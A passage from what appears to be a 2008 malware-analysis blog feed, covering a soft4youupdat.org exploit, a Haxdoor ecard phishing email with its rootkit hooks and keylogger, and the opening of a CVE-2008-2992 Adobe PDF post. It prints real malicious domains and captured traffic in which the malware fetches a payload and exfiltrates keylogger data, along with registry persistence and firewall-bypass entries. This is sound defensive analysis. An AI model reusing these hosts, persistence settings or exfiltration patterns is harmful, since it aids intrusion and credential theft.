/&gt;%System%\wsnpoem\video.dll&lt;br /&gt;&lt;br /&gt;The following registry key is created to launch the malware at startup:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Userinit = "%System%\userinit.exe,%System%\ntos.exe,"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Virus total indicates a low detection rate for this particular variant at the time of analysis [Result: 9/38 (23.68%)]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Domain Analysis&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;The domain soft4youupdat.org was registered 11-20-08 at Everyones Internet, Ltd.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Domain ID:D154732571-LROR&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;Domain&lt;br /&gt;Name:SOFT4YOUUPDAT.ORG&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Created On:20-Nov-2008 12:59:45 UTC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Last Updated On:20-Nov-2008 13:19:16 UTC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Expiration Date:20-Nov-2009 12:59:45 UTC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Sponsoring Registrar:Everyones Internet, Ltd. (R1381-LROR)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Status:TRANSFER PROHIBITED&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant ID:tul8MyjB2Dv7rqIF&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Name:Vladimir Mashkov&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Organization:N/A&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Street1:st. Lenin's 56 square 43&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Street2:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Street3:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant City:Moscow&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant State/Province:Moscow&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Postal Code:10010&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Country:RU&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Phone:+7.4950784576&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Phone Ext.:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant FAX:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant FAX Ext.:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registrant Email: mailto:andrea12a@inbox.ru&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The domain soft4youupdat.org currently resolves to 67.228.139.26 which is registered to the Plano, TX company SOFTLAYER Technologies Inc. (ASN AS36351, 67.228.128.0/18).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;aut-num:    AS36351&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;as-name:    SOFTLAYER&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;descr:      SoftLayer Technologies Inc.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import:     from AS-ANY   accept ANY AND NOT {0.0.0.0/0}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;export:     to AS-ANY   announce AS36351&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;admin-c:    IPADM258-ARIN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;tech-c:     IPADM258-ARIN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;notify:     noc@softlayer.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;mnt-by:     MAINT-AS36351&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;changed:    ipadmin@softlayer.com 20060110&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;source:     RADB &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SOFTLAYER Technologies Inc leased IP space to Innovation IT Solutions Corp which is an international communications company headquartered in London, UK.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Innovation IT Solutions Corp. NET-67-228-139-0 (NET-67-228-139-0-1)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;67.228.139.0 - 67.228.139.127&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_q7ApSx8GNew/SUxmKgHPMuI/AAAAAAAAADA/BF-6ijxIPp8/s1600-h/init-sol.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 106px;" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SUxmKgHPMuI/AAAAAAAAADA/BF-6ijxIPp8/s320/init-sol.jpg" alt="" id="BLOGGER_PHOTO_ID_5281708793603764962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SOFTLAYER Technologies Inc is listed by &lt;a href="http://blog.stopbadware.org/2008/06/24/china-hosts-majority-of-badware-sites"&gt;StopBadware.org&lt;/a&gt; in their top 10 worst network block owners and the &lt;a href="http://hostexploit.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=12&amp;amp;Itemid=15"&gt;McColo Cyber Crime USA – V2.0&lt;/a&gt; report lists the ISP in the top 5 worst network block owners. Both IT Solutions Corp and SOFTLAYER Technologies Inc have been previously &lt;a href="http://rbnexploit.blogspot.com/2008/10/rbn-russian-cyberwar-on-georgia.html"&gt;tied to&lt;/a&gt; RBN activity and the Russian Cyberwar on Georgia.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"&gt;&lt;br /&gt;&lt;/object&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-6313164548923598729?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/6313164548923598729/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=6313164548923598729' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6313164548923598729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6313164548923598729'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/12/soft4youupdatorg-exploit-analysis.html' title='soft4youupdat.org Exploit Analysis'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_q7ApSx8GNew/SUxmKgHPMuI/AAAAAAAAADA/BF-6ijxIPp8/s72-c/init-sol.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-1838616977662641131</id><published>2008-11-12T22:36:00.004-05:00</published><updated>2008-11-12T22:57:26.830-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ecard'/><category scheme='http://www.blogger.com/atom/ns#' term='Haxdoor'/><title type='text'>Haxdoor ecard</title><content type='html'>On 11 November 2008, I received an email indicating that I had received an ecard.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Date: Tue, 11 Nov 2008 19:29:36 +0000 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;From: "123greetings.com" (spoofed)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;To: "my love" &lt;.....@gmail.com&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Subject: You have received an eCard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Good day.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You have received an eCard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;To pick up your eCard, choose from any of the following options:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Click on the following link (or copy &amp;amp; paste it into your web browser):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;hxxp://zonzamas.info/ecard.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Your card will be aviailable for pick-up beginning for the next 30 days.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Please be sure to view your eCard before the days are up!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;We hope you enjoy you eCard.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Thank You!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;hxxp://www.123greetings.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The email included a hyperlink for hxxp://zonzamas.info/ecard.exe. The file ecard.exe is a variant of the &lt;a href="http://www.f-secure.com/v-descs/haxdoor.shtml"&gt;Haxdoor &lt;/a&gt;malcode family. The domain zonzamas.info is currently registered and hosted in the US (65.98.31.250).&lt;br /&gt;&lt;br /&gt;ecard.exe&lt;br /&gt;934fce496508b5dc4ba01f140870d01c&lt;br /&gt;34,440 bytes&lt;br /&gt;&lt;br /&gt;The malware ecard.exe creates the following files:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32\gzipmod.dll&lt;br /&gt;C:\WINDOWS\system32\vbagz.sys&lt;br /&gt;&lt;br /&gt;gzipmod.dll&lt;br /&gt;603ed7f0758bb2957aa94b3e7bd758b2&lt;br /&gt;20,108 bytes&lt;br /&gt;&lt;br /&gt;vbagz.sys&lt;br /&gt;3aec76486842e41459e1edd79570b224&lt;br /&gt;7,072 bytes&lt;br /&gt;&lt;br /&gt;Both Haxdoor files install as rootkits hiding themselves from the Windows API.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;SSDT State&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtCreateProcess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0xF8B0CFE9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: C:\WINDOWS\system32\vbagz.sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtCreateProcessEx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0xF8B0CA86&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: C:\WINDOWS\system32\vbagz.sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtOpenKey&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0xF8B0C467&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: C:\WINDOWS\system32\vbagz.sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtOpenProcess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0xF8B0C799&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: C:\WINDOWS\system32\vbagz.sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtQueryDirectoryFile&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0xF8B0C7EF&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: C:\WINDOWS\system32\vbagz.sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;Files&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Suspect File: C:\WINDOWS\system32\gzipmod.dll Status: Hidden&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Suspect File: C:\WINDOWS\system32\vbagz.sys Status: Hidden&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;Hooks&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ntoskrnl.exe--&gt;IoCreateFile, Type: Inline - RelativeJump at address 0x80583218 hook handler located in [vbagz.sys]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ntoskrnl.exe--&gt;IoGetCurrentProcess, Type: Inline - RelativeJump at address 0x804EDE00 hook handler located in [vbagz.sys]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1476]RootkitRevealer.exe--&gt;wininet.dll--&gt;InternetReadFile, Type: Inline - RelativeJump at address 0x7620FA3C hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1476]RootkitRevealer.exe--&gt;wininet.dll--&gt;InternetReadFileExA, Type: Inline - RelativeJump at address 0x7622571D hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;ntdll.dll--&gt;LdrLoadDll, Type: Inline - RelativeJump at address 0x77F55669 hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;HttpOpenRequestA, Type: Inline - RelativeJump at address 0x76206C0A hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;HttpSendRequestA, Type: Inline - RelativeJump at address 0x76210689 hook handler located in [gzipmod.dll]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;InternetCloseHandle, Type: Inline - RelativeJump at address 0x7620974B hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;InternetConnectA, Type: Inline - RelativeJump at address 0x76205DE6 hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;InternetOpenA, Type: Inline - RelativeJump at address 0x7621017D hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;InternetQueryDataAvailable, Type: Inline - RelativeJump at address 0x7620FC5E hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;InternetReadFile, Type: Inline - RelativeJump at address 0x7620FA3C hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1724]svchost.exe--&gt;wininet.dll--&gt;InternetReadFileExA, Type: Inline - RelativeJump at address 0x7622571D hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;!!POSSIBLE ROOTKIT ACTIVITY DETECTED!! =)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The malware gzipmod.dll creates:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\System32\ answxt.bin&lt;br /&gt;C:\WINDOWS\System32\k86.bin&lt;br /&gt;&lt;br /&gt;K86.bin stores keylogger data. The following log shows examples of logon attempts at USBank and Wachovia.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00000159   00000159      0   ==================Google - Microsoft Internet Explorer ; MOD:C:\Program Files\Internet Explorer\iexplore.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000001C7   000001C7      0   usbank Enter 123456671988wachovia Enter 1234567 Tab pass123usbank Enter 12121212pass123456&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following registry keys are created to load gzipmod.dll at startup:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Persistent = 0x00000000 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\gzipmod&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DllName = "gzipmod.dll" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Startup = "gzipmod" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Impersonate = 0x00000001 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Asynchronous = 0x00000001 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;MaxWait = 0x00000001 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;adr9i = "[6B1ADFD9D971359EA]" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The following registry keys are created to load vbagz.sys during a safe-mode boot:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\vbagz.sys "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: Driver&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vbagz.sys "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: Driver&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following registry entries are set, affecting internet security:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List "C:\WINDOWS\System32\rundll32.exe"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: C:\WINDOWS\System32\rundll32.exe:*:Enabled:rundll32&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following registry entries install vbagz.sys as a service named “VBA2 PnP Driver”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz "DisplayName"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: VBA2 PnP Driver&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz "ErrorControl"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 00, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz "ImagePath"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_EXPAND_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: system32\vbagz.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz "Start"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz "Type"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz\Enum "0"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: Root\LEGACY_VBAGZ\0000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz\Enum "Count"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz\Enum "NextInstance"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vbagz\Security "Security"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: [&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;hexadecimal values&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware connects to cash-babules.com/bolt2/data.php?trackid. The domain cash-babules.com is registered and hosted in Russia (62.167.16.11, SINGER-NET). The request returns instructions to download hxxp://sergej-grienko.com/inj/11-11.bin. The domain sergej-grienko.com is also registered and hosted in Russia (62.167.16.11, SINGER-NET). The 11-11.bin file is saved as C:\WINDOWS\System32\tremir.bin. The bin file stores instructions for creating fake banking institution logon html pages and keylogger triggers.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /ie-bolt2/data.php?trackid=&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;[string]&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; HTTP/1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.xpsp.6043-201935)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: cash-babules.com Connection: Keep-Alive &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Server: nginx/0.6.32&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Date: Wed, 12 Nov 2008 03:52:14 GMT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: text/html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Connection: close&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;X-Powered-By: PHP/5.2.6 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CMND UU0 U4hxxp://sergej-grienko.com/inj/11-11.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;U4sergej-grienko.com/inj/11-11.bin ED |END&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /inj/11-11.bin HTTP/1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.xpsp.6043-201935)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: sergej-grienko.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Keylogger and harvested data is exfiltrated to cash-babules.com/ie-bolt2/data.php.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /ie-bolt2/data.php?dt=0&amp;amp;id=4569 HTTP/1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.xpsp.11731-201935)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: cash-babules.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Length: 725&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: multipart/form-data; boundary=---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Connection: Keep-Alive&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Pragma: no-cache  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="user"  [&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;string&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;] &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="info" &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-1838616977662641131?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/1838616977662641131/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=1838616977662641131' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1838616977662641131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1838616977662641131'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/11/haxdoor-ecard.html' title='Haxdoor ecard'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-9138419431185277382</id><published>2008-11-12T20:02:00.014-05:00</published><updated>2008-11-12T20:33:45.367-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2008-2992'/><category scheme='http://www.blogger.com/atom/ns#' term='Adobe PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='adxdnet.net'/><title type='text'>CVE-2008-2992 Adobe PDF Exploitation</title><content type='html'>On 7 November 2008, &lt;a href="http://isc.sans.org/diary.html?storyid=5312"&gt;SANS &lt;/a&gt;reported an active exploit against the Adobe Reader and Acrobat util.printf() JavaScript function stack buffer overflow vulnerability (CVE-2008-2992). Adobe Reader and Acrobat contain a stack buffer overflow in the util.printf() JavaScript function, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. The vulnerability was first reported by &lt;a href="http://www.coresecurity.com/content/adobe-reader-buffer-overflow"&gt;CORE Security technologies&lt;/a&gt; in May 2008. Adobe released 